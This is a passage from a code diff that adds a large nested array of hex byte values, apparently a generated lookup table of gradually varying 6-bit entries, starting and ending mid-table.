+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x2e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x02, 0x2b, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x21, 0x3a, 0x03, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x2a, 0x23, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x0d, 0x26, 0x2f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x09, 0x0a, 0x2b, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07},
+            {0x20, 0x19, 0x02, 0x33, 0x1c, 0x25, 0x36, 0x07}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x29, 0x3a, 0x23, 0x34, 0x0d, 0x06, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x08, 0x29, 0x0a, 0x2b, 0x2c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x0a, 0x33, 0x3c, 0x25, 0x2e, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x2e, 0x0f},
+            {0x20, 0x39, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x0f},
+            {0x20, 0x19, 0x12, 0x33, 0x3c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17},
+            {0x20, 0x19, 0x12, 0x33, 0x1c, 0x25, 0x36, 0x17}
+        },
+        {
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x03, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x10, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x3a, 0x23, 0x34, 0x15, 0x06, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x31, 0x1a, 0x23, 0x34, 0x15, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x0d, 0x26, 0x3f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x1a, 0x23, 0x34, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x08, 0x29, 0x0a, 0x23, 0x2c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x23, 0x3c, 0x05, 0x26, 0x1f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x29, 0x0a, 0x2b, 0x3c, 0x05, 0x26, 0x0f},
+            {0x00, 0x39, 0x0a, 0x33, 0x3c, 0x05, 0x26, 0x0f},
